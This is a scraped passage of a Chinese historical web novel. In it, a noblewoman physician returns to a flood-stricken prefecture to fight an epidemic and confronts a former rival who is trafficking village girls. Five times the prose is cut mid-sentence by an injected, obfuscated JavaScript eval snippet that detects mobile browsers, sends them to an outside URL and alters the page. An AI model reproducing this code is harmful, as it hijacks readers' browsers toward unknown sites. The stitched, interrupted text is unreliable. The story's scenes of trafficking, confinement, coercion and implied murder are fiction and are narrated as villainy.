“但是别怕,诸位一定要记住,自助者天助,若家中有人高热,咳嗽,不要拖延,一定要尽快去保和堂,那边我留下了很多草药和治病的方子,相信保和堂和泾河府的郎中会全力救治所有生病的人,我先告辞了。”温令仪深深鞠躬。 温令仪坐上马车。 无烬换了一身靖安司的官服在前面赶车。 林嬷嬷、碧桃和海棠惊魂未定,三人见温令仪丝毫不惊慌,都不敢多问一句。 温令仪也不说话,马车日夜兼程往京城来。 刚离开泾河府三日,马车就被拦住了去路。 谭庸率领手下护住温令仪的马车。 对面马车下来的白长鹤扬声:“官爷,草民是泾河府漕帮的白长鹤,要拜见温二小姐,请行个方便。” 谭庸到马车门外:“夫人,可见?” “见。”温令仪说。 白长鹤到了近前,林嬷嬷带着碧桃和海棠下了马车,守在马车外面。 白长鹤行礼:“夫人要找的人已经送到了众合商会,老朽承蒙令嫒照拂,如今已掌管漕帮,这是漕帮的令牌,不管在任何地方,夫人若遇到难处可凭令牌调派漕帮所有船只、车马和人。” 温令仪双手接过来白长鹤递过来的令牌,低声说:“我在泾河府的宅院里有许多药丸,若时疫控制不住,哪些药丸务必要分发给穷苦百姓。” 白长鹤钦佩的拱手一礼。 马车离开,白长鹤目送远去的马车,吩咐手下调三百高手,暗中护送温令仪,务必让她平安归京。 接下来的日子非常顺利。 温令仪是半个月后到京城的。 她人还没有进城,泾河府求救的快马已经到了宫门外。 永元帝震惊:“时疫来势汹汹?这是怎么回事?” “皇上,开春,本就会让人身体 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845057|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虚弱,时疫在这个时候再起,那些百姓的身体扛不住,只怕会比去年更严重啊。”太医跪倒了一片。 永元帝蹙眉:“可有对策?” “对策是有,但去年应对时疫的人是秦国公府的世子夫人,她比我们更了解时疫的症状,应对方法也一定更精准,就算微臣等人要往泾河府去,也需要先有些准备才行。”太医说。 永元帝气得想要骂娘,镇守边关,没有晏家不行,没有温家不行,这也就罢了,晏怀卿叛国了,这已经让他恨不得把跟晏怀卿有关系的人**万段了,偏偏一个时疫,还没有温令仪就不行了? 外面来人通禀,温令仪已经进城。 永元帝让温令仪立刻入宫。 温令仪没有被押入天牢,反倒是入了皇宫,来到了御书房。 跪在地上,温令仪叩头。 “你在泾河府做什么了?”永元帝退下所有人,问。 温令仪回道:“皇上,臣妇担心开春会让时疫反扑,百姓身体本就羸弱,一旦时疫来了,伤亡会很惨重,所以臣妇先过去,想要看看那些百姓的身体如何,同样也在准备草药和方子,一旦时疫再来,也能早早应对,抢占先机,免得这些百姓再流离失所,往京城来。” “大胆!你还敢欺君?”永元帝一拍桌子:“你可知道晏怀卿做了什么?” 温令仪磕头在地:“臣妇所说句句属实,若皇上不信,尽可去让人去查,晏怀卿在雁门关,他做了什么臣妇不知。” “叛国!他去了西凉!”永元帝冷冷的说:“你知不知道,这可以诛灭九族,温家也逃不掉的!” 温令仪猛然抬头:“皇上,臣妇冤枉,温家冤枉,皇上啊,晏怀卿何曾把臣妇和温家放在眼里?还是说漠北也出事儿了?” 这个! 永元帝一时间不知道说什么了。 漠北没出事,非但没出事,还在做安抚百姓的事,并且西凉来袭,奋勇杀敌,三战三胜,这让自己该怎么办呢? 微微眯起眼睛:“温令仪,晏怀卿叛国,你逃不掉干系,在事情未明之前,朕让你戴罪立功,你可愿意?” 第186章 再次离京的温令仪 温令仪叩首在地,在入宫前就知道永元帝不会对自己怎么样,毕竟父兄在漠北手握兵权,并且晏怀卿去西凉,父兄可不会做这么蠢的事,虽然自己没有和父兄通过书信,但裴祈安必定会安排妥当。 永元帝不会治罪,那就剩让自己去泾河府治疗时疫了,毕竟上次流民围皇城的事,年前年后发生两次,必定民心大乱。 “皇上,臣妇能做什么呢?”温令仪反问了一句。 永元帝坐在椅子上居高临下的看着温令仪:“你为何去泾河府?” “怕时疫再来,百姓受苦,更怕百姓再流离失所,无处可去往京城来。”温令仪说。 永元帝点了点头:“那朕让你奉旨出京往泾河府去,解泾水河两岸百姓的时疫之苦,如何?” “臣妇莫敢不从,更愿意为国分忧。”温令仪答应的爽快,话锋一转:“但皇上明鉴,治病需大量草药,泾河府草药储备不足,再臣妇势单力薄,怕难以应对。” 永元帝知道温令仪说的是实情,巧妇难为无米之炊,他也不能让温令仪赤手空拳去治病:“朝廷会派太医同去,尚药局的草药也尽可准备。” “皇上英明。”温令仪叩头在地:“臣妇替泾水河两岸的百姓给皇上磕头了。” 永元帝摆手:“起来吧,你先回镇国公府去,明日去尚药局准备草药,三日后往泾河府去。” 温令仪再次叩头退下。 镇国公府。 温令仪回到家里,整个人也就放松下来了。 温忠、谭远志、铁四海都来了。 温令仪让三人落座后,吩咐三人要准备充足的粮食和草药,同时准备足够的人手,这些人是以温家的身份出京,为国出力的。 这边,温忠几个人还没走,消息就传到了永元帝的耳中。 他十分满意温令仪的做法。 “皇上,温家二小姐还拿出来来几个药方,让手底下的人按照药方上的草药去各个药铺收购。”负责监视温令仪的人说。 永元帝微微蹙眉,有药方,温令仪为何刚才不拿出来?难道还要藏私心不成? 温令仪安排妥当,就让林嬷嬷准备路上用的吃喝,碧桃去了聚贤阁,聚贤阁那边的厨子也开始忙着做糕点。 蔡昀接到温令仪的书信,看过之后长叹一口气,这世道真真是坏了,朝廷更是提不起来,外面那么多大事,身为一国之君就盯着温令仪作甚? 本以为年轻有为,是个中兴之君,如今看来是金玉其外败絮其中。 亲自为温令仪准备了一些可口的,交代了手底下这些厨子,他直接收拾好,第二日就来镇国公府了。 温令仪刚要出门,见蔡昀来了,赶紧迎上去:“蔡爷爷,您怎么来了?” “我这把老骨头还有点儿用,跟在你身边护着你,也免得你师父担忧。”蔡昀说着,看温令仪:“你这是要出门?” “皇上让我去尚药局选草药。”温令仪说:“明儿往泾河府去,您老先住在这边。” “去忙,不用管我。”蔡昀摆了摆手。 尚药局,温令仪见到了柴道玄,身为太医之首的柴道玄十分钦佩温令仪这样的女子,请温令仪落座后,问:“温小姐,泾水河两岸的百姓如今情况如何?” “老大人,百姓已有端倪,若非被带回京城,我在那边已经开始治病救人了。”温令仪说着,拿出来药方推到柴道玄面前:“您老给掌掌眼,要不是事发突然,我会把近月余的脉诊册子都拿回来,那就更能让老大人看个明白了。” 柴道玄看着方子,捋着半尺长的白胡须连连点头:“好,好啊!这才是医者仁心啊,温小姐有如此悬壶济世的心,是老朽这辈子都想做却没有做到的事啊,说起来对不起恩师传授技艺,困于名利场,白活一回啊。” 温令仪轻声:“老大人切不可妄自菲薄,您肩负重任,乃杏林德高望重的人,我们这些晚辈后生都需要历练,您只需坐阵京城,我会尽可能把泾河府的消息送回来。” 柴道玄抬头打量着温令仪,眼圈泛红:“孩子啊,你是个心怀苍生的人,罢了,罢了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845058|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 温令仪不知柴道玄要做什么,只见他起身往墙边的**架走去,取过来**架上的药师佛,抱在怀里对温令仪说:“这是我信奉和供养了五十六栽的佛,今日赠给你,你切记带在身边,切记。” “这……”温令仪一下难住了。 柴道玄说:“带着吧,药师佛必定会保佑泾水河两岸的百姓和你的。” 说着,轻轻地翻转了一下下,露出下面的红纸封口处,用手指点了点,抬眸看温令仪:”可懂啊?” 温令仪深鞠一躬:“长者赐,不可辞,晚辈就厚着脸皮收下了。” 柴道玄点头。 吩咐手底下的太医按照方子打开草药库房开始准备,尚药局忙碌起来,永元帝倒是京中柴道玄几分,也没把柴道玄赠药师佛的事放在心里。 他从来不相信这些玄之又玄的东西,不过倒也不厌恶。 温令仪的方子是柴道玄差人送到宫里来的,皇上看到方子,心里算是踏实了,还以为温令仪要跟朝廷留一手呢。 一切准备好后,温令仪和尚药局的太医们奉旨离京往泾河府去了。 镇国公府的马车在后头跟着,浩浩荡荡的马车上装着草药、粮食。 温令仪的马车里,蔡昀闭目养神。 漕帮的人沿途接应,蔡昀看温令仪:“竟还收服了漕帮?这是谁的手笔?” “囡囡的本事。”温令仪提到这件事的时候,有些哭笑不得,看着蔡昀:“这孩子倒是个有本事。” 温令仪低声:“您老一定知道天道盟背后真正的主子是谁。” 蔡昀点了点头:“从来江湖和朝廷是井水不犯河水的,但是这是太平天下时候该有的,现在算不上太平天下,这世道一旦乱了,哪里还有什么江湖和朝廷呢?若是还泾渭分明,墨染又怎么会去西域呢?” 温令仪轻轻地叹了口气:“江湖上的事情我不太了解,但朝廷如今不作为,是真的对百姓太不利了。” 蔡昀往外看了眼:“将来啊,尘埃落定的时候,百姓能安居乐业就行了。” 第187章 这一趟不去不行 泾河府的百姓迎出来很远。 温令仪的马车不得不停下来,当温令仪从马车上下来的时候,这些百姓都哭着往前面想要看看温令仪一眼。 温令仪只能高声对这些人说:“乡亲们,当今皇上派我们来帮助你们,咱们要同舟共济,一定会度过眼下的难关,去年那么严重的时疫咱们也都熬过来了,今年朝廷未雨绸缪,草药、粮食都准备充足,请乡亲们奔走相告,但凡有身体不舒服的家人就送到泾河府衙门。 太医们就在衙门里坐阵。 孙志胜见到温令仪,尴尬的不知道说什么好,踌躇着怎么跟温令仪缓和关系,因温令仪的身份背景强大的让他心惊胆战,秦国公府的世子叛国是大罪,可娘家是镇国公府,兄长手握兵权镇守漠北,能奉旨开保和堂,保和堂是朝廷在民间设立的医馆,明明被抓捕归京,竟然这么快就回来了,他肠子都要悔青了,怎么就得罪了这么一尊大佛! 可温令仪根本没搭理他的意思,跟孙志胜接洽的是京城来的太医,名叫沈济生。 管说人家是太医,瞅瞅人家这名字! 孙志胜这次学聪明了,一点儿官威也没有,非常谦逊的听从沈济生的安排,衙门也甭审案了,说实在的,去年那一场水患和时疫,泾河府没少**,百姓活着都艰难的时候,哪里还有什么案子,小偷小摸的事都没有了,穷的一模一样,哪里还有什么可以偷盗的东西? 倒是也有富人,可那些富人家里豢养的护院比恶犬都更凶猛,没人敢去招惹,所以泾河府就出现了如此神奇的一幕,安宁的前所未有。 衙门里本就没什么事可做,所以腾出来屋子给这些太医,简直再合适不过了,院子里支起来了棚子,来求医问药的百姓是可以遮一遮风雨,还能捞一个好名声,何乐而不为呢? 温令仪没有留在衙门这边,而是回去了保和堂。 保和堂门口贴出来了奉旨治病的告示,但凡时疫病症都可以免诊资药费。 温令仪带着王友和几个郎中诊脉开方子,病人拿着方子去衙门里,太医会再诊脉核对,然后给药,这些药直接熬好了,病人直接留在衙门里,病好了才能离开,这也能最大限度的预防时疫扩散。 百姓口口相传,保和堂门口日夜都有长长的队伍,林嬷嬷带着碧桃和海棠不做别的,专门给这些人做粥,粥成本低,能多支撑一些日子。 寻常百姓活得不容易,越是穷苦的百姓人家,越是要处处都仔细盘算着过日子,在富贵人眼里,这边是恶**,小气,斤斤计较,殊不知饶是如此盘算着过日子,日子还是过的经不起一点点儿风浪,但凡有点儿风吹草动都能把一家人压垮。 抗风险能力极低的这些百姓人家,去年水患、时疫,已经折腾的精疲力尽,颗粒无收连活命的粮食都没有,如今又有时疫了,本来指望着开春有盼头,如今一个个面色萎靡,走路都没力气。 而他们中大多数人去过京城,更多的人都得到过温令仪的救助,更不用说还有众合商会和天道盟给的安家银子,若没有那些银子啊,去岁冬日都熬不过来的。 绝望的时候再见到温令仪,这些人就跟看到了救星一般。 能砍柴的去砍柴,整整齐齐的柴送到保和堂,能挖野菜的去挖野菜,择得干干净净的也送到保和堂,粥里有米也有野菜,甚至能打猎的人都去打猎,猎到的猎物送到保和堂给病人补身子。 温令仪知道这些人平日里仔细盘算过日子,生怕吃亏,如今大灾大难面前却都各尽所能的守望相助,这么真挚朴素的情感在京城是难得一见的,名利场才是处处都算计,哪有什么真心? 慢慢的安顿好后,温令仪便白日里诊脉,晚上去衙门里见那些太医,时疫越来越严重已成定局,若无应对法子,后果不堪设想。 “温二小姐,如今我们尚且能应付,可是江南府那边跟这边的情况差不多,若我们只顾着泾河府,江南府的人再去了京城,那咱们可就无功有过了。”沈济生说。 温令仪问:“沈大人,我听说江南有杏林世家邓家。” “这个。”沈济生苦笑:“温二小姐,虽然我祖上和邓家交好,可到了我们这一代人已老死不相往来了,只怕我登门非但不会得到帮助,恐怕会适得其反啊。” 温令仪当然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845059|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道,当年邓家嫡长女嫁给沈家,临盆却血崩而死,作为同是杏林中的世家大族,邓家狠毒了沈家,当年迎娶邓家嫡长女的恰恰就是眼前这位沈济生的亲生父亲,而他是续弦所出,邓家嫡长女产下的孩子出生不到半日就夭折了,算一尸两命。 “我自不会为难沈大人,而是不知道邓家老爷子和老夫人不准后人再行医,是真是假。”温令仪问。 沈济生摇头:“父亲曾提起过,邓家擅长外科,沈家擅长内科,打从嫡母出事后,确实邓家有家规,后代子孙不准行医,可父亲说有一位邓家二舅父,十分厉害,只可惜从未谋面。” 邓二,便是雁门关的军医,名邓秀林,是邓家第二子。 温令仪正是知道邓家有人学医,甚至在边关,才会和沈济生聊邓家,登门邓家的事刻不容缓,因邓家不管是在江南府还是泾河府,都算是名门望族,最重要的是邓家和纪家关系极好,时疫再来,平阳纪家就在江南,必定不会做壁上观,因外祖宋家的买卖生意已到了江南府,甚至到了平阳地界,不过宋家的买卖是把众合商会推到前面的。 这种事情当然瞒不过纪家,所以温令仪决定亲自登门邓家,若是能得到邓家的支持,泾河府两岸的百姓就有了强大的助力,同时也可以切断了纪家伸出来的手。 若纪家只是商贾大户,若只是纪家和宋家在商道上的争夺,倒也不至于出手,可事实上蔡昀老爷子说的一点儿没错,世道乱的时候,一切都会乱,纪家和李若甫的关系太深,而罗无咎从让罗政去雁门关的时候开始,他便是自己这边的人,宋家和温家结盟,温家和裴祈安之间的关系更不用说,所以自己要对纪家出手,虽未必能做到神不知鬼不觉,可拿捏住自己把柄也没那么容易。 “温二小姐要亲自登门邓家?”沈济生惊讶的看着温令仪。 温令仪点头:“唯有如此,江南府的百姓才能得到救治,这一趟不去不行,不过我声名不显,人微言轻,只怕去了也未必能成啊。” 沈济生想了想:“这样,我举荐一个人,温二小姐不如先去拜见他。” “谁啊?”温令仪问。 第188章 当初怎么就能放她走呢? 沈济生把心一横:“是崔家老夫人。” “崔家?”温令仪还真没听说过崔家。 沈济生说:“崔家是江南府的望族,书香门第,但家族子弟从不科举入仕,不过去年水患的时候,散尽家财如今落魄了,但崔家老夫人和我的嫡母是金兰之交。” 温令仪没想到还有这样的助力,当然了,能不能行还要过去走一遭才知道。 回到保和堂,温令仪不得不请出谭庸。 谭庸是裴祈安身边极为得力的人,靖安司里,裴祈安不在的话,谭庸就可以全权处理任何事物。 “夫人,您有何吩咐?”谭庸对温令仪十分可期,称呼也始终都是夫人,温令仪并不多问,谁知道裴祈安怎么交代的呢? 温令仪请谭庸落座:“我想要往江南府去一趟,拜访邓家,但得知邓家关门谢客多年,能跟邓家有往来的只有崔家老夫人,崔家的底细帮我查一查。” 谭庸点头:“夫人启程时,属下要护夫人平安,可一道同去。” “有劳了。”温令仪顿了一下:“明日吧,明日一早我们往大王庄去,从那边可以登船。” 谭庸拱手行礼后离开。 翌日。 温令仪安排好了保和堂的事,只带了碧桃在身边,谭庸赶车,三人往大王庄去。 大王庄距泾河府很近,说是庄子,但去年洪水过后都剩下残桓断壁了,如今虽很多人回到了这里,可房屋还没建起来几间,在原本的屋子上面都是搭了茅草屋艰难的熬过了冬日。 本打算开春暖和了就盖屋的百姓,如今又被时疫惊得人心惶惶,也就没有心思盖屋了,但凡有些力气的人都去田里,住得好坏是小事,得有粮食填饱肚子。 马车停在了大王庄里少见的一户人家,房屋整洁,虽然谈不上多好,可石头垒成的房子有模有样,院子里也洒扫的干净。 碧桃上前敲门。 江大丫从院子里出来,看到碧桃顿时眼睛都亮了,回头喊道:“娘亲,贵人来家了。” 江家媳妇听到这话,鞋子都来不及穿跑出来,看到门外站着的温令仪,顿时哭出声来:“老天有眼啊,贵人平安。” 当初温令仪被官府抓走回京的事,泾河府人都知道,江家媳妇为此哭了好些日子,朝廷比衙门大多了,那更是**不眨眼的地方啊。 如今看到温令仪好端端的站在面前,江家媳妇跑过来,使劲儿在衣襟上擦手:“贵人怎么来了?快进屋,进屋。” 温令仪进屋,江大丫给娘找了鞋子过来。 江家媳妇低声交代江大丫赶紧准备吃喝,这才进门请温令仪坐在椅子上,问:“贵人这是要过河吗?” “是要过河,不知道江家嫂子知不知道江大哥什么时候能回来。”温令仪问。 江安如今在漕帮做事,可不是总能在家的。 江家媳妇算了算日子:“再有三五天就能回来一趟,不过贵人别担心,如今咱们村子里往来江南府码头那边都没人拦着了,找船过河不难。” “那就劳烦江家嫂子帮忙寻个船家,我这就过河。”温令仪说。 江家媳妇哪里能答应:“现在天色不早了,贵人过河得在船上过夜,这个太危险了,明儿一早登船,下半晌就能到江南府,别急在这一会儿。” 温令仪点头答应了。 江安家里有双亲健在,两位老人住在东边院子里,江安夫妇二人有三个孩子,老大是女娃,叫宝月,还有两个儿子叫宝祥和宝瑞,上次江安回来带走了宝祥和宝瑞,穷人家的孩子早早的学本事,带去江南府那边当个伙计,学个账房啥的,那都是谋生的手段。 所以现在住在这边的只有江安媳妇带着女儿宝月还有公婆。 江家媳妇去外面跟宝月做饭,很快就端上来了一桌子好吃的,江边的人鱼虾不缺,做法虽然粗糙了些,可用足了心思,还有一海碗面条。 温令仪看江家媳妇带着女儿站在旁边,那样子是让自己吃,有些不好意思的笑了:“江家嫂子,我是客,哪里有主人不坐下,我就吃饭的道理。” “不是,贵人吃吧,看看胃口合适不。”江家媳妇有些拘谨的说:“咱们这穷山僻壤的地方也不会做什么吃喝,贵人别嫌弃就行。” 温令仪摇头:“若不都坐下,这饭我可吃不得。” 正谦让,就听外面传来了说话声:“江家大嫂这是来贵客了啊,闻着都香呢。” 温令仪微微挑眉,这声音似曾相识。 江宝月顿时变了脸色,挡在了桌子前面。 “我就说让大丫跟我读书识字,以后一准能嫁个好人家,你瞅瞅,几次登门都不给我好脸子,不知道这贵人是不是见过大世面的,刚好能劝劝。” 随着话音落下,温令仪抬头看着一脚门里一脚门外进来的人,差点儿没笑出来,什么叫冤家路窄? 叶染秋没看到温令仪,而是看着江宝月:“大丫,你可得听话,读 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845060|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书识字的话,我带你去泾河府寻个好活计,往后这日子一准过的越来越好。” “叶染秋,你如今还当起了人牙子吗?”温令仪从椅子上站起来,绕过桌子来到江宝月身边,抬头看着进门的叶染秋。 叶染秋脸色大变:“是你?!” 温令仪点了点头:“是我,没想到在这里竟然能遇到你。” “我改日再来。”叶染秋只觉得触霉头了,扭头就走。 温令仪沉声:“拦住她!” 谭庸立刻挡住了叶染秋的去路。 这可把江家媳妇吓到了,赶紧过来跟温令仪说:“贵人息怒,这是临江村的女夫子,想要大丫过去读书识字的,咱们村子里人少,不过听说很多十二三岁的姑娘都是过去读书识字后,找到了好营生呢。” 温令仪轻轻地拍了拍江家媳妇的手,偏头看了眼模样俊俏的江宝月,走向叶染秋:“你倒是拉的下脸,下作的勾当挺适合你的。” 叶染秋知道走不了,转过头:“温令仪,你嘴下积德,我怎么就下作了?这些姑娘们只要识文断字,大户人家里去做丫环都就赚银子贴补家用,你是锦衣玉食习惯了,不知道人间疾苦!少在这里指指点点的,爱学就学,不学拉倒。” 温令仪摇头:“叶染秋,你信不信我让人查一查你,你会被这些百姓乱棍打死!” “你!你想怎么样?”叶染秋色厉内荏:“这都是一个愿打一个愿挨的,就是到了衙门,那也不会治罪于我的。” 温令仪挑眉:“你怎么谋生活我不管,记住了,这一家人你见了绕道走!” “遇到你就晦气,你以为我还搭理她们?”叶染秋转身看着谭庸。 温令仪冲谭庸点了点头。 谭庸闪开,叶染秋急匆匆的走了。 温令仪吩咐谭庸:“查一查她在做什么。” “是,夫人。”谭庸得了吩咐离开。 温令仪回头看着茫然的江家母女,走过来坐下说:“这个人是不是带走了很多年轻的姑娘?” “是,不过送去哪里没人知道,穷人家的孩子养不起,她出手阔绰,每个孩子给二十两银子。”江家媳妇说:“也不知道怎么就盯上咱们家宝月了,真是造孽啊。” 温令仪心里冷笑,坏人从来不觉得自己坏,还觉得自己聪明有法子呢,所以愿意动恻隐之心的善良人,真算不得善,保不齐还是助纣为虐呢! 当初,怎么就能放她走呢? 第189章 你要扭断了我的腿吗? 叶染秋离开大王庄,回去临江村的路上心里忐忑不安,暗骂冤家路窄,怎么在这里还能遇到温令仪这个灾星。 大事不妙,自己必须逃走才行。 回到临江村,温令仪先去找了村长程长陆。 程长陆这辈子也没见过如此有本事的人,打从这位叶夫人到了临江村,自己的日子可过的太富裕了,日进斗金夸张了些,但那天不赚个百把两银子! 别的不说,这些银子但凡能大大方方拿出来用的时候,家里就能起个员外那般的大宅子,儿子读书的费用使不了用不尽的。 这可是自己的财神爷啊。 要不是那个跟在叶夫人身边的男人不好惹,自己都愿意让族里出个好样的年轻人把这个叶夫人留在这里,那个叫大牛的人性子古怪,怎么看都觉得别扭,跟叶夫人的关系也微妙,但绝不像夫妻。 “爹,叶夫人来了。”陆小曼进门,拉着脸子:“她是存了心要勾搭大哥吗?三天两头往这边跑。” 程长陆赶紧起身迎出去,心里却犯嘀咕,族里的年轻人不少,随便挑都行,自己的儿子那可是要中状元的人,怎么也不能让这个来历不明的女子沾染上。 “村长,我要离开一段日子。”叶染秋放下手里的礼,笑着说:“多谢村长这些日子的照拂。” 程长陆愕然的看着叶染秋:“叶夫人,这怎么突然就要走了呢?” “说来话长,村长,若是有缘我还会回来的,女学那边的姑娘们也都带走,回头村长出面把那些姑娘们的家里人叫来,再商量。”叶染秋说。 程长陆顿时觉得心都在滴血,他的财神爷要走,这可咋办? “父亲。”程子谦从外面进来,看到叶染秋时,微微颔首:“叶夫人。” 叶染秋还礼,打量了几眼程子谦。 说真的,她可是出身京城官宦之家,从小见到的世家子弟数不胜数,曾经更是被京城里那些贵公子捧在掌心的女子,什么样的人没见过呢? 若不是被晏怀卿坑了,随便嫁给谁,如今都是贵夫人,甚至是掌家夫人,哪里会如现在这般,把日子过成了鼠辈一般,见到个温令仪都要抱头鼠窜? 但这乡野之地,还真有绝色,比如这临江村里就有两个数一数二的美男子,一个是眼前的程子谦,一个是前些日子有过一面之缘的程子栋,两个人都是读书极好的人,容貌更是没的说。 她本来以为乡野出大牛那般的男子就已经不错了,到底是自己在京城日子太久,少了见识啊。 要说真能走仕途的,她更觉得程子谦比较合适,温润如玉又心机城府足够,反倒是那个程子栋,真真是个倔驴的性子。 头一次见程子栋,就是他拉出来程家所有族人,死活要断亲,自请除族的时候,听说是为了一个女人,真是可笑啊。 程长陆看叶染秋打量自己儿子,心都提到了嗓子眼儿,清了清嗓子:“叶夫人只管回去等着,我这就让人把那些姑娘们的家里人叫来。” 叶染秋淡淡的收回目光:“如此,甚好。” 说罢,起身往外走去,跟程子谦擦肩而过的时候,又飘过去一个眼神儿,恰巧程子谦看到了,他的心都差点儿飞出来,这样的尤物流落民间,真是可惜了。 离开了程长陆家,叶染秋回到了自己暂时住着的院子里。 大牛看到叶染秋回来,眼神里除了憎恨还有惧怕,硬着头皮过来伸出手搀扶着叶染秋:“夫人,浴汤准备好了。” 叶染秋没言语,她但凡出门回来的头一件事便是沐浴,这穷乡僻壤里的烟尘太大,脏得很。 坐在浴桶里,看大牛低垂眉眼伺候自己的模样忍不住厌烦:“你还有什么用?用点儿力气,没吃饭吗?” 大牛只能加大了力度给她揉捏小腿。 “你要扭断了我的腿吗?”叶染秋一脚踹在大牛的脸上:“你个窝囊废!当初我怎么就猪油蒙了心,非要跟你远走高飞呢?” 大牛不敢吭声,当**自己也稀里糊涂的,那么多银子啊,她说要接二牛一起走,可二牛没接到不说,那些银子也被骗光了。 说起来,自己当初是真心想要买一个宅子,置办田产,好好跟叶染秋过日子的,甚至庆幸自己命好。 可谁知道人心叵测,叶染秋长得又太好,被山匪给看上了,为了把叶染秋赎回来,自己把所有的银子都给了山匪,他以为自己有力气,怎么还养不了一个女人? “滚出去!”叶染秋怎么也不能忘记那些山匪对自己的所作所为,这个窝囊的男人只能跪着把自己所有家当都给了那些山匪,要不是自己想到了这个法子谋生路,跟着他都得饿死! 叶染秋换了干净的衣裳,出门就见大牛坐在柴房旁边劈柴,冷哼一声往后院去。 后院有三个膀大腰圆的婆子,一个个凶神恶煞一般,见到叶染秋却像是耗子见到了猫似的,恨不得跪着说话。 “夫人,那几个丫头不听话,嚷嚷着要回家去。”其中一个婆子说。 叶染秋抬头看了看要黑了的天:“那就老法子。” 婆子应声:“是。” 后院一排六间房,低矮了些,但关几个人是足够用的,现在手里还有九个小丫头。 这九个是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845061|175760||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最近几天买回来的,还没来得及出手,也没调*教好,叶染秋挨个窗口往里看了一遍,转过身回去屋子里。 大牛听到后院传来哭喊的声音,很短暂的几声就没了动静,可就是这几声已经让他寒毛都竖起来了。 “大牛。”叶染秋出声。 大牛握着斧子的手都在颤抖,深吸一口气起身进门,看着叶染秋慵懒的躺在床上,走到床边沉声:“夫人,别做这丧尽天良的行当了,咱们离开这里吧,我有都是力气,一定能养活你的,如果你不愿意跟我吃苦,我送你回京城。” 叶染秋抬眸打量着大牛,曾经被这一身好力气吸引了,现在想想都是耻辱。 如今竟然还敢劝自己? “我何时如此穷过?”叶染秋眼圈泛红:“为了跟你远走高飞,我离开了京城,离开了我的娘家人,遇到你是孽缘啊。” 大牛顿时面红如布,搓着手:“我不是、我不是那个意思,我是说,我能养活你。” “吃糠咽菜吗?”叶染秋拿了帕子压了压眼角,起身趿拉着鞋出去了,一会儿工夫端着个茶壶进来了,放在桌子上看着大牛:“喝了。” 大牛摇头:“我、我不做那畜生不如的事了,夫人,你饶了我吧,如果你嫌弃我,我走,我走行不行?” 叶染秋走过来贴在大牛的胸口,拉着他的衣襟:“走?你和我之间,谁能离开谁呢?若是丢下我,我就算是化成厉鬼都不能饶了你,你不听话了吗?” 大牛推开她:“你不是个人!你太恶毒了!叶染秋,我现在知道春香为什么会死在你床上了,是你蛇蝎心肠害了她!” “是啊。”叶染秋打量着大牛,噗嗤笑了:“说起来也是怪你啊,谁让你和她有婚约,而你却跟我有了夫妻之实,所以她得死啊。” “我当时是为了救你!”大牛脸色涨红。 叶染秋不耐烦的蹙眉:“怎么着?占了便宜还卖乖?我告诉你,你好好调*教那几个不听话的小蹄子,若是敢忤逆我的意思,信不信我让京城里的人送二牛去见春香?” 大牛瞪大了眼睛,**两步,叶染秋冷嗤一声,打心底瞧不起这样的男人!扫了眼桌子上的茶壶:“下不去手就喝掉那些茶,喝!” 大牛抓起来茶壶一口气喝光了里面所有的茶,静静地坐在椅子上好半天,再抬起头的时候眼底赤红,起身一步步逼近了叶染秋。 叶染秋大惊:“你要作甚?” 